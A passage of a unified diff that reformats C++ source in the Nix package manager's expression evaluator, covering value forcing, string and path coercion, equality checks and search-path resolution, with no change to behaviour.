(vTmp.type() == nFloat) { // Upgrade the type from int to float; @@ -2058,22 +2037,28 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) nf = n.value; nf += vTmp.fpoint(); } else - state.error("cannot add %1% to an integer", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); + state.error("cannot add %1% to an integer", showType(vTmp)) + .atPos(i_pos) + .withFrame(env, *this) + .debugThrow(); } else if (firstType == nFloat) { if (vTmp.type() == nInt) { nf += vTmp.integer().value; } else if (vTmp.type() == nFloat) { nf += vTmp.fpoint(); } else - state.error("cannot add %1% to a float", showType(vTmp)).atPos(i_pos).withFrame(env, *this).debugThrow(); + state.error("cannot add %1% to a float", showType(vTmp)) + .atPos(i_pos) + .withFrame(env, *this) + .debugThrow(); } else { - if (s.empty()) s.reserve(es->size()); + if (s.empty()) + s.reserve(es->size()); /* skip canonization of first path, which would only be not canonized in the first place if it's coming from a ./${foo} type path */ - auto part = state.coerceToString(i_pos, vTmp, context, - "while evaluating a path segment", - false, firstType == nString, !first); + auto part = state.coerceToString( + i_pos, vTmp, context, "while evaluating a path segment", false, firstType == nString, !first); sSize += part->size(); s.emplace_back(std::move(part)); } @@ -2087,13 +2072,15 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) v.mkFloat(nf); else if (firstType == nPath) { if (!context.empty()) - state.error("a string that refers to a store path cannot be appended to a path").atPos(pos).withFrame(env, *this).debugThrow(); + state.error("a string that refers to a store path cannot be appended to a path") + .atPos(pos) + .withFrame(env, *this) + .debugThrow(); v.mkPath(state.rootPath(CanonPath(str()))); } else v.mkStringMove(c_str(), context); } - void ExprPos::eval(EvalState & state, Env & env, Value & v) { state.mkPos(v, pos); @@ -2104,10 +2091,9 @@ void ExprBlackHole::eval(EvalState & state, [[maybe_unused]] Env & env, Value & throwInfiniteRecursionError(state, v); } -[[gnu::noinline]] [[noreturn]] void ExprBlackHole::throwInfiniteRecursionError(EvalState & state, Value &v) { - state.error("infinite recursion encountered") - .atPos(v.determinePos(noPos)) - .debugThrow(); +[[gnu::noinline]] [[noreturn]] void ExprBlackHole::throwInfiniteRecursionError(EvalState & state, Value & v) +{ + state.error("infinite recursion encountered").atPos(v.determinePos(noPos)).debugThrow(); } // always force this to be separate, otherwise forceValue may inline it and take @@ -2126,7 +2112,6 @@ void EvalState::tryFixupBlackHolePos(Value & v, PosIdx pos) } } - void EvalState::forceValueDeep(Value & v) { std::set seen; @@ -2134,7 +2119,8 @@ void EvalState::forceValueDeep(Value & v) std::function recurse; recurse = [&](Value & v) { - if (!seen.insert(&v).second) return; + if (!seen.insert(&v).second) + return; forceValue(v, v.determinePos(noPos)); @@ -2142,10 +2128,14 @@ void EvalState::forceValueDeep(Value & v) for (auto & i : *v.attrs()) try { // If the value is a thunk, we're evaling. Otherwise no trace necessary. - auto dts = debugRepl && i.value->isThunk() - ? makeDebugTraceStacker(*this, *i.value->payload.thunk.expr, *i.value->payload.thunk.env, i.pos, - "while evaluating the attribute '%1%'", symbols[i.name]) - : nullptr; + auto dts = debugRepl && i.value->isThunk() ? makeDebugTraceStacker( + *this, + *i.value->payload.thunk.expr, + *i.value->payload.thunk.env, + i.pos, + "while evaluating the attribute '%1%'", + symbols[i.name]) + : nullptr; recurse(*i.value); } catch (Error & e) { @@ -2163,17 +2153,15 @@ void EvalState::forceValueDeep(Value & v) recurse(v); } - NixInt EvalState::forceInt(Value & v, const PosIdx pos, std::string_view errorCtx) { try { forceValue(v, pos); if (v.type() != nInt) error( - "expected an integer but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).debugThrow(); + "expected an integer but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .debugThrow(); return v.integer(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); @@ -2183,7 +2171,6 @@ NixInt EvalState::forceInt(Value & v, const PosIdx pos, std::string_view errorCt return v.integer(); } - NixFloat EvalState::forceFloat(Value & v, const PosIdx pos, std::string_view errorCtx) { try { @@ -2192,10 +2179,9 @@ NixFloat EvalState::forceFloat(Value & v, const PosIdx pos, std::string_view err return v.integer().value; else if (v.type() != nFloat) error( - "expected a float but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).debugThrow(); + "expected a float but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .debugThrow(); return v.fpoint(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); @@ -2203,17 +2189,15 @@ NixFloat EvalState::forceFloat(Value & v, const PosIdx pos, std::string_view err } } - bool EvalState::forceBool(Value & v, const PosIdx pos, std::string_view errorCtx) { try { forceValue(v, pos); if (v.type() != nBool) error( - "expected a Boolean but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).debugThrow(); + "expected a Boolean but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .debugThrow(); return v.boolean(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); @@ -2223,40 +2207,35 @@ bool EvalState::forceBool(Value & v, const PosIdx pos, std::string_view errorCtx return v.boolean(); } - bool EvalState::isFunctor(Value & fun) { return fun.type() == nAttrs && fun.attrs()->find(sFunctor) != fun.attrs()->end(); } - void EvalState::forceFunction(Value & v, const PosIdx pos, std::string_view errorCtx) { try { forceValue(v, pos); if (v.type() != nFunction && !isFunctor(v)) error( - "expected a function but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).debugThrow(); + "expected a function but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .debugThrow(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; } } - std::string_view EvalState::forceString(Value & v, const PosIdx pos, std::string_view errorCtx) { try { forceValue(v, pos); if (v.type() != nString) error( - "expected a string but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).debugThrow(); + "expected a string but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .debugThrow(); return v.string_view(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); @@ -2264,54 +2243,65 @@ std::string_view EvalState::forceString(Value & v, const PosIdx pos, std::string } } - void copyContext(const Value & v, NixStringContext & context, const ExperimentalFeatureSettings & xpSettings) { if (v.payload.string.context) - for (const char * * p = v.payload.string.context; *p; ++p) + for (const char ** p = v.payload.string.context; *p; ++p) context.insert(NixStringContextElem::parse(*p, xpSettings)); } - -std::string_view EvalState::forceString(Value & v, NixStringContext & context, const PosIdx pos, std::string_view errorCtx, const ExperimentalFeatureSettings & xpSettings) +std::string_view EvalState::forceString( + Value & v, + NixStringContext & context, + const PosIdx pos, + std::string_view errorCtx, + const ExperimentalFeatureSettings & xpSettings) { auto s = forceString(v, pos, errorCtx); copyContext(v, context, xpSettings); return s; } - std::string_view EvalState::forceStringNoCtx(Value & v, const PosIdx pos, std::string_view errorCtx) { auto s = forceString(v, pos, errorCtx); if (v.context()) { - error("the string '%1%' is not allowed to refer to a store path (such as '%2%')", v.string_view(), v.context()[0]).withTrace(pos, errorCtx).debugThrow(); + error( + "the string '%1%' is not allowed to refer to a store path (such as '%2%')", v.string_view(), v.context()[0]) + .withTrace(pos, errorCtx) + .debugThrow(); } return s; } - bool EvalState::isDerivation(Value & v) { - if (v.type() != nAttrs) return false; + if (v.type() != nAttrs) + return false; auto i = v.attrs()->get(sType); - if (!i) return false; + if (!i) + return false; forceValue(*i->value, i->pos); - if (i->value->type() != nString) return false; + if (i->value->type() != nString) + return false; return i->value->string_view().compare("derivation") == 0; } - -std::optional EvalState::tryAttrsToString(const PosIdx pos, Value & v, - NixStringContext & context, bool coerceMore, bool copyToStore) +std::optional +EvalState::tryAttrsToString(const PosIdx pos, Value & v, NixStringContext & context, bool coerceMore, bool copyToStore) { auto i = v.attrs()->find(sToString); if (i != v.attrs()->end()) { Value v1; callFunction(*i->value, v, v1, pos); - return coerceToString(pos, v1, context, - "while evaluating the result of the `__toString` attribute", - coerceMore, copyToStore).toOwned(); + return coerceToString( + pos, + v1, + context, + "while evaluating the result of the `__toString` attribute", + coerceMore, + copyToStore) + .toOwned(); } return {}; @@ -2334,14 +2324,12 @@ BackedStringView EvalState::coerceToString( } if (v.type() == nPath) { - return - !canonicalizePath && !copyToStore - ? // FIXME: hack to preserve path literals that end in a - // slash, as in /foo/${x}. - v.payload.path.path - : copyToStore - ? store->printStorePath(copyPathToStore(context, v.path())) - : std::string(v.path().path.abs()); + return !canonicalizePath && !copyToStore + ? // FIXME: hack to preserve path literals that end in a + // slash, as in /foo/${x}. + v.payload.path.path + : copyToStore ? store->printStorePath(copyPathToStore(context, v.path())) + : std::string(v.path().path.abs()); } if (v.type() == nAttrs) { @@ -2351,15 +2339,11 @@ BackedStringView EvalState::coerceToString( auto i = v.attrs()->find(sOutPath); if (i == v.attrs()->end()) { error( - "cannot coerce %1% to a string: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ) + "cannot coerce %1% to a string: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) .withTrace(pos, errorCtx) .debugThrow(); } - return coerceToString(pos, *i->value, context, errorCtx, - coerceMore, copyToStore, canonicalizePath); + return coerceToString(pos, *i->value, context, errorCtx, coerceMore, copyToStore, canonicalizePath); } if (v.type() == nExternal) { @@ -2374,19 +2358,29 @@ BackedStringView EvalState::coerceToString( if (coerceMore) { /* Note that `false' is represented as an empty string for shell scripting convenience, just like `null'. */ - if (v.type() == nBool && v.boolean()) return "1"; - if (v.type() == nBool && !v.boolean()) return ""; - if (v.type() == nInt) return std::to_string(v.integer().value); - if (v.type() == nFloat) return std::to_string(v.fpoint()); - if (v.type() == nNull) return ""; + if (v.type() == nBool && v.boolean()) + return "1"; + if (v.type() == nBool && !v.boolean()) + return ""; + if (v.type() == nInt) + return std::to_string(v.integer().value); + if (v.type() == nFloat) + return std::to_string(v.fpoint()); + if (v.type() == nNull) + return ""; if (v.isList()) { std::string result; for (auto [n, v2] : enumerate(v.listItems())) { try { - result += *coerceToString(pos, *v2, context, - "while evaluating one element of the list", - coerceMore, copyToStore, canonicalizePath); + result += *coerceToString( + pos, + *v2, + context, + "while evaluating one element of the list", + coerceMore, + copyToStore, + canonicalizePath); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; @@ -2400,15 +2394,11 @@ BackedStringView EvalState::coerceToString( } } - error("cannot coerce %1% to a string: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ) + error("cannot coerce %1% to a string: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) .withTrace(pos, errorCtx) .debugThrow(); } - StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePath & path) { if (nix::isDerivation(path.path.abs())) @@ -2416,30 +2406,25 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat auto dstPathCached = get(*srcToStore.lock(), path); - auto dstPath = dstPathCached - ? *dstPathCached - : [&]() { - auto dstPath = fetchToStore( - *store, - path.resolveSymlinks(SymlinkResolution::Ancestors), - settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, - path.baseName(), - ContentAddressMethod::Raw::NixArchive, - nullptr, - repair); - allowPath(dstPath); - srcToStore.lock()->try_emplace(path, dstPath); - printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath)); - return dstPath; - }(); + auto dstPath = dstPathCached ? *dstPathCached : [&]() { + auto dstPath = fetchToStore( + *store, + path.resolveSymlinks(SymlinkResolution::Ancestors), + settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, + path.baseName(), + ContentAddressMethod::Raw::NixArchive, + nullptr, + repair); + allowPath(dstPath); + srcToStore.lock()->try_emplace(path, dstPath); + printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath)); + return dstPath; + }(); - context.insert(NixStringContextElem::Opaque { - .path = dstPath - }); + context.insert(NixStringContextElem::Opaque{.path = dstPath}); return dstPath; } - SourcePath EvalState::coerceToPath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx) { try { @@ -2472,8 +2457,8 @@ SourcePath EvalState::coerceToPath(const PosIdx pos, Value & v, NixStringContext return rootPath(path); } - -StorePath EvalState::coerceToStorePath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx) +StorePath +EvalState::coerceToStorePath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx) { auto path = coerceToString(pos, v, context, errorCtx, false, false, true).toOwned(); if (auto storePath = store->maybeParseStorePath(path)) @@ -2481,37 +2466,35 @@ StorePath EvalState::coerceToStorePath(const PosIdx pos, Value & v, NixStringCon error("path '%1%' is not in the Nix store", path).withTrace(pos, errorCtx).debugThrow(); } - -std::pair EvalState::coerceToSingleDerivedPathUnchecked(const PosIdx pos, Value & v, std::string_view errorCtx, const ExperimentalFeatureSettings & xpSettings) +std::pair EvalState::coerceToSingleDerivedPathUnchecked( + const PosIdx pos, Value & v, std::string_view errorCtx, const ExperimentalFeatureSettings & xpSettings) { NixStringContext context; auto s = forceString(v, context, pos, errorCtx, xpSettings); auto csize = context.size(); if (csize != 1) - error( - "string '%s' has %d entries in its context. It should only have exactly one entry", - s, csize) - .withTrace(pos, errorCtx).debugThrow(); - auto derivedPath = std::visit(overloaded { - [&](NixStringContextElem::Opaque && o) -> SingleDerivedPath { - return std::move(o); + error("string '%s' has %d entries in its context. It should only have exactly one entry", s, csize) + .withTrace(pos, errorCtx) + .debugThrow(); + auto derivedPath = std::visit( + overloaded{ + [&](NixStringContextElem::Opaque && o) -> SingleDerivedPath { return std::move(o); }, + [&](NixStringContextElem::DrvDeep &&) -> SingleDerivedPath { + error( + "string '%s' has a context which refers to a complete source and binary closure. This is not supported at this time", + s) + .withTrace(pos, errorCtx) + .debugThrow(); + }, + [&](NixStringContextElem::Built && b) -> SingleDerivedPath { return std::move(b); }, }, - [&](NixStringContextElem::DrvDeep &&) -> SingleDerivedPath { - error( - "string '%s' has a context which refers to a complete source and binary closure. This is not supported at this time", - s).withTrace(pos, errorCtx).debugThrow(); - }, - [&](NixStringContextElem::Built && b) -> SingleDerivedPath { - return std::move(b); - }, - }, ((NixStringContextElem &&) *context.begin()).raw); + ((NixStringContextElem &&) *context.begin()).raw); return { std::move(derivedPath), std::move(s), }; } - SingleDerivedPath EvalState::coerceToSingleDerivedPath(const PosIdx pos, Value & v, std::string_view errorCtx) { auto [derivedPath, s_] = coerceToSingleDerivedPathUnchecked(pos, v, errorCtx); @@ -2520,26 +2503,28 @@ SingleDerivedPath EvalState::coerceToSingleDerivedPath(const PosIdx pos, Value & if (s != sExpected) { /* `std::visit` is used here just to provide a more precise error message. */ - std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) { - error( - "path string '%s' has context with the different path '%s'", - s, sExpected) - .withTrace(pos, errorCtx).debugThrow(); - }, - [&](const SingleDerivedPath::Built & b) { - error( - "string '%s' has context with the output '%s' from derivation '%s', but the string is not the right placeholder for this derivation output. It should be '%s'", - s, b.output, b.drvPath->to_string(*store), sExpected) - .withTrace(pos, errorCtx).debugThrow(); - } - }, derivedPath.raw()); + std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) { + error("path string '%s' has context with the different path '%s'", s, sExpected) + .withTrace(pos, errorCtx) + .debugThrow(); + }, + [&](const SingleDerivedPath::Built & b) { + error( + "string '%s' has context with the output '%s' from derivation '%s', but the string is not the right placeholder for this derivation output. It should be '%s'", + s, + b.output, + b.drvPath->to_string(*store), + sExpected) + .withTrace(pos, errorCtx) + .debugThrow(); + }}, + derivedPath.raw()); } return derivedPath; } - - // NOTE: This implementation must match eqValues! // We accept this burden because informative error messages for // `assert a == b; x` are critical for our users' testing UX. @@ -2742,7 +2727,9 @@ void EvalState::assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::st // Also note that this probably ran after `eqValues`, which implements // the same logic more efficiently (without having to unwind stacks), // so maybe `assertEqValues` and `eqValues` are out of sync. Check it for solutions. - error("assertEqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); + error("assertEqValues: cannot compare %1% with %2%", showType(v1), showType(v2)) + .withTrace(pos, errorCtx) + .panic(); } } @@ -2755,7 +2742,8 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v /* !!! Hack to support some old broken code that relies on pointer equality tests between sets. (Specifically, builderDefs calls uniqList on a list of sets.) Will remove this eventually. */ - if (&v1 == &v2) return true; + if (&v1 == &v2) + return true; // Special case type-compatibility between float and int if (v1.type() == nInt && v2.type() == nFloat) @@ -2764,73 +2752,80 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v return v1.fpoint() == v2.integer().value; // All other types are not compatible with each other. - if (v1.type() != v2.type()) return false; + if (v1.type() != v2.type()) + return false; switch (v1.type()) { - case nInt: - return v1.integer() == v2.integer(); + case nInt: + return v1.integer() == v2.integer(); - case nBool: - return v1.boolean() == v2.boolean(); + case nBool: + return v1.boolean() == v2.boolean(); - case nString: - return strcmp(v1.c_str(), v2.c_str()) == 0; + case nString: + return strcmp(v1.c_str(), v2.c_str()) == 0; - case nPath: - return - // FIXME: compare accessors by their fingerprint. - v1.payload.path.accessor == v2.payload.path.accessor - && strcmp(v1.payload.path.path, v2.payload.path.path) == 0; + case nPath: + return + // FIXME: compare accessors by their fingerprint. + v1.payload.path.accessor == v2.payload.path.accessor + && strcmp(v1.payload.path.path, v2.payload.path.path) == 0; - case nNull: - return true; + case nNull: + return true; - case nList: - if (v1.listSize() != v2.listSize()) return false; - for (size_t n = 0; n < v1.listSize(); ++n) - if (!eqValues(*v1.listElems()[n], *v2.listElems()[n], pos, errorCtx)) return false; - return true; + case nList: + if (v1.listSize() != v2.listSize()) + return false; + for (size_t n = 0; n < v1.listSize(); ++n) + if (!eqValues(*v1.listElems()[n], *v2.listElems()[n], pos, errorCtx)) + return false; + return true; - case nAttrs: { - /* If both sets denote a derivation (type = "derivation"), - then compare their outPaths. */ - if (isDerivation(v1) && isDerivation(v2)) { - auto i = v1.attrs()->get(sOutPath); - auto j = v2.attrs()->get(sOutPath); - if (i && j) - return eqValues(*i->value, *j->value, pos, errorCtx); - } - - if (v1.attrs()->size() != v2.attrs()->size()) return false; - - /* Otherwise, compare the attributes one by one. */ - Bindings::const_iterator i, j; - for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) - if (i->name != j->name || !eqValues(*i->value, *j->value, pos, errorCtx)) - return false; - - return true; + case nAttrs: { + /* If both sets denote a derivation (type = "derivation"), + then compare their outPaths. */ + if (isDerivation(v1) && isDerivation(v2)) { + auto i = v1.attrs()->get(sOutPath); + auto j = v2.attrs()->get(sOutPath); + if (i && j) + return eqValues(*i->value, *j->value, pos, errorCtx); } - /* Functions are incomparable. */ - case nFunction: + if (v1.attrs()->size() != v2.attrs()->size()) return false; - case nExternal: - return *v1.external() == *v2.external(); + /* Otherwise, compare the attributes one by one. */ + Bindings::const_iterator i, j; + for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) + if (i->name != j->name || !eqValues(*i->value, *j->value, pos, errorCtx)) + return false; - case nFloat: - // !!! - return v1.fpoint() == v2.fpoint(); + return true; + } - case nThunk: // Must not be left by forceValue - assert(false); - default: // Note that we pass compiler flags that should make `default:` unreachable. - error("eqValues: cannot compare %1% with %2%", showType(v1), showType(v2)).withTrace(pos, errorCtx).panic(); + /* Functions are incomparable. */ + case nFunction: + return false; + + case nExternal: + return *v1.external() == *v2.external(); + + case nFloat: + // !!! + return v1.fpoint() == v2.fpoint(); + + case nThunk: // Must not be left by forceValue + assert(false); + default: // Note that we pass compiler flags that should make `default:` unreachable. + error("eqValues: cannot compare %1% with %2%", showType(v1), showType(v2)) + .withTrace(pos, errorCtx) + .panic(); } } -bool EvalState::fullGC() { +bool EvalState::fullGC() +{ #if NIX_USE_BOEHMGC GC_gcollect(); // Check that it ran. We might replace this with a version that uses more @@ -2896,9 +2891,9 @@ void EvalState::printStatistics() #endif #if NIX_USE_BOEHMGC {GC_is_incremental_mode() ? "gcNonIncremental" : "gc", gcFullOnlyTime}, -#ifndef _WIN32 // TODO implement +# ifndef _WIN32 // TODO implement {GC_is_incremental_mode() ? "gcNonIncrementalFraction" : "gcFraction", gcFullOnlyTime / cpuTime}, -#endif +# endif #endif }; topObj["envs"] = { @@ -2949,7 +2944,7 @@ void EvalState::printStatistics() if (countCalls) { topObj["primops"] = primOpCalls; { - auto& list = topObj["functions"]; + auto & list = topObj["functions"]; list = json::array(); for (auto & [fun, count] : functionCalls) { json obj = json::object(); @@ -2987,7 +2982,7 @@ void EvalState::printStatistics() if (getEnv("NIX_SHOW_SYMBOLS").value_or("0") != "0") { // XXX: overrides earlier assignment topObj["symbols"] = json::array(); - auto &list = topObj["symbols"]; + auto & list = topObj["symbols"]; symbols.dump([&](const std::string & s) { list.emplace_back(s); }); } if (outPath == "-") { @@ -2997,7 +2992,6 @@ void EvalState::printStatistics() } } - SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) { unsigned int followCount = 0, maxFollow = 1024; @@ -3009,7 +3003,8 @@ SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) if (++followCount >= maxFollow) throw Error("too many symbolic links encountered while traversing the path '%s'", path); auto p = path.parent().resolveSymlinks() / path.baseName(); - if (p.lstat().type != SourceAccessor::tSymlink) break; + if (p.lstat().type != SourceAccessor::tSymlink) + break; path = {path.accessor, CanonPath(p.readLink(), path.path.parent().value_or(CanonPath::root))}; } @@ -3020,13 +3015,11 @@ SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) return path; } - Expr * EvalState::parseExprFromFile(const SourcePath & path) { return parseExprFromFile(path, staticBaseEnv); } - Expr * EvalState::parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv) { auto buffer = path.resolveSymlinks().readFile(); @@ -3035,8 +3028,8 @@ Expr * EvalState::parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv) +Expr * +EvalState::parseExprFromString(std::string s_, const SourcePath & basePath, std::shared_ptr & staticEnv) { // NOTE this method (and parseStdin) must take care to *fully copy* their input // into their respective Pos::Origin until the parser stops overwriting its input @@ -3046,19 +3039,17 @@ Expr * EvalState::parseExprFromString(std::string s_, const SourcePath & basePat return parse(s_.data(), s_.size(), Pos::String{.source = s}, basePath, staticEnv); } - Expr * EvalState::parseExprFromString(std::string s, const SourcePath & basePath) { return parseExprFromString(std::move(s), basePath, staticBaseEnv); } - Expr * EvalState::parseStdin() { // NOTE this method (and parseExprFromString) must take care to *fully copy* their // input into their respective Pos::Origin until the parser stops overwriting its // input data. - //Activity act(*logger, lvlTalkative, "parsing standard input"); + // Activity act(*logger, lvlTalkative, "parsing standard input"); auto buffer = drainFD(0); // drainFD should have left some extra space for terminators buffer.append("\0\0", 2); @@ -3066,46 +3057,47 @@ Expr * EvalState::parseStdin() return parse(buffer.data(), buffer.size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); } - SourcePath EvalState::findFile(const std::string_view path) { return findFile(lookupPath, path); } - SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos) { for (auto & i : lookupPath.elements) { auto suffixOpt = i.prefix.suffixIfPotentialMatch(path); - if (!suffixOpt) continue; + if (!suffixOpt) + continue; auto suffix = *suffixOpt; auto rOpt = resolveLookupPathPath(i.path); - if (!rOpt) continue; + if (!rOpt) + continue; auto r = *rOpt; auto res = (r / CanonPath(suffix)).resolveSymlinks(); - if (res.pathExists()) return res; + if (res.pathExists()) + return res; } if (hasPrefix(path, "nix/")) return {corepkgsFS, CanonPath(path.substr(3))}; error( - settings.pureEval - ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)" - : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)", - path - ).atPos(pos).debugThrow(); + settings.pureEval ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)" + : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)", + path) + .atPos(pos) + .debugThrow(); } - std::optional EvalState::resolveLookupPathPath(const LookupPath::Path & value0, bool initAccessControl) { auto & value = value0.s; auto i = lookupPathResolved.find(value); - if (i != lookupPathResolved.end()) return i->second; + if (i != lookupPathResolved.end()) + return i->second; auto finish = [&](std::optional res) { if (res) @@ -3118,16 +3110,11 @@ std::optional EvalState::resolveLookupPathPath(const LookupPath::Pat if (EvalSettings::isPseudoUrl(value)) { try { - auto accessor = fetchers::downloadTarball( - store, - fetchSettings, - EvalSettings::resolvePseudoUrl(value)); + auto accessor = fetchers::downloadTarball(store, fetchSettings, EvalSettings::resolvePseudoUrl(value)); auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy); return finish(this->storePath(storePath)); } catch (Error & e) { - logWarning({ - .msg = HintFmt("Nix search path entry '%1%' cannot be downloaded, ignoring", value) - }); + logWarning({.msg = HintFmt("Nix search path entry '%1%' cannot be downloaded, ignoring", value)}); } } @@ -3150,39 +3137,34 @@ std::optional EvalState::resolveLookupPathPath(const LookupPath::Pat if (store->isInStore(path.path.abs())) { try { allowClosure(store->toStorePath(path.path.abs()).first); - } catch (InvalidPath &) { } + } catch (InvalidPath &) { + } } } if (path.resolveSymlinks().pathExists()) return finish(std::move(path)); else { - logWarning({ - .msg = HintFmt("Nix search path entry '%1%' does not exist, ignoring", value) - }); + logWarning({.msg = HintFmt("Nix search path entry '%1%' does not exist, ignoring", value)}); } } return finish(std::nullopt); } - Expr * EvalState::parse( - char * text, - size_t length, - Pos::Origin origin, - const SourcePath & basePath, - std::shared_ptr & staticEnv) + char * text, size_t length, Pos::Origin origin, const SourcePath & basePath, std::shared_ptr & staticEnv) { DocCommentMap tmpDocComments; // Only used when not origin is not a SourcePath - DocCommentMap *docComments = &tmpDocComments; + DocCommentMap * docComments = &tmpDocComments; if (auto sourcePath = std::get_if(&origin)) { auto [it, _] = positionToDocComment.try_emplace(*sourcePath); docComments = &it->second; } - auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, *docComments, rootFS, exprSymbols); + auto result = parseExprFromBuf( + text, length, origin, basePath, symbols, settings, positions, *docComments, rootFS, exprSymbols); result->bindVars(*this, staticEnv); @@ -3206,21 +3188,19 @@ DocComment EvalState::getDocCommentForPos(PosIdx pos) return it->second; } -std::string ExternalValueBase::coerceToString(EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const +std::string ExternalValueBase::coerceToString( + EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const { - state.error( - "cannot coerce %1% to a string: %2%", showType(), *this - ).atPos(pos).debugThrow(); + state.error("cannot coerce %1% to a string: %2%", showType(), *this).atPos(pos).debugThrow(); } - bool ExternalValueBase::operator==(const ExternalValueBase & b) const noexcept { return false; } - -std::ostream & operator << (std::ostream & str, const ExternalValueBase & v) { +std::ostream & operator<<(std::ostream & str, const ExternalValueBase & v) +{ return v.print(str); } @@ -3237,5 +3217,4 @@ void forceNoNullByte(std::string_view s, std::function pos) } } - } diff --git a/src/libexpr/function-trace.cc b/src/libexpr/function-trace.cc index 1dce51726..bc734b8d9 100644 --- a/src/libexpr/function-trace.cc +++ b/src/libexpr/function-trace.cc @@ -3,13 +3,16 @@ namespace nix { -FunctionCallTrace::FunctionCallTrace(const Pos & pos) : pos(pos) { +FunctionCallTrace::FunctionCallTrace(const Pos & pos) + : pos(pos) +{ auto duration = std::chrono::high_resolution_clock::now().time_since_epoch(); auto ns = std::chrono::duration_cast(duration); printMsg(lvlInfo, "function-trace entered %1% at %2%", pos, ns.count()); } -FunctionCallTrace::~FunctionCallTrace() { +FunctionCallTrace::~FunctionCallTrace() +{ auto duration = std::chrono::high_resolution_clock::now().time_since_epoch(); auto ns = std::chrono::duration_cast(duration); printMsg(lvlInfo, "function-trace exited %1% at %2%", pos, ns.count()); diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index f15ad4d73..b49ea4faf 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -7,18 +7,19 @@ #include #include - namespace nix { - PackageInfo::PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs) - : state(&state), attrs(attrs), attrPath(std::move(attrPath)) + : state(&state) + , attrs(attrs) + , attrPath(std::move(attrPath)) { } - PackageInfo::PackageInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs) - : state(&state), attrs(nullptr), attrPath("") + : state(&state) + , attrs(nullptr) + , attrPath("") { auto [drvPath, selectedOutputs] = parsePathWithOutputs(*store, drvPathWithOutputs); @@ -31,10 +32,7 @@ PackageInfo::PackageInfo(EvalState & state, ref store, const std::string if (selectedOutputs.size() > 1) throw Error("building more than one derivation output is not supported, in '%s'", drvPathWithOutputs); - outputName = - selectedOutputs.empty() - ? getOr(drv.env, "outputName", "out") - : *selectedOutputs.begin(); + outputName = selectedOutputs.empty() ? getOr(drv.env, "outputName", "out") : *selectedOutputs.begin(); auto i = drv.outputs.find(outputName); if (i == drv.outputs.end()) @@ -44,34 +42,36 @@ PackageInfo::PackageInfo(EvalState & state, ref store, const std::string outPath = {output.path(*store, drv.name, outputName)}; } - std::string PackageInfo::queryName() const { if (name == "" && attrs) { auto i = attrs->find(state->sName); - if (i == attrs->end()) state->error("derivation name missing").debugThrow(); + if (i == attrs->end()) + state->error("derivation name missing").debugThrow(); name = state->forceStringNoCtx(*i->value, noPos, "while evaluating the 'name' attribute of a derivation"); } return 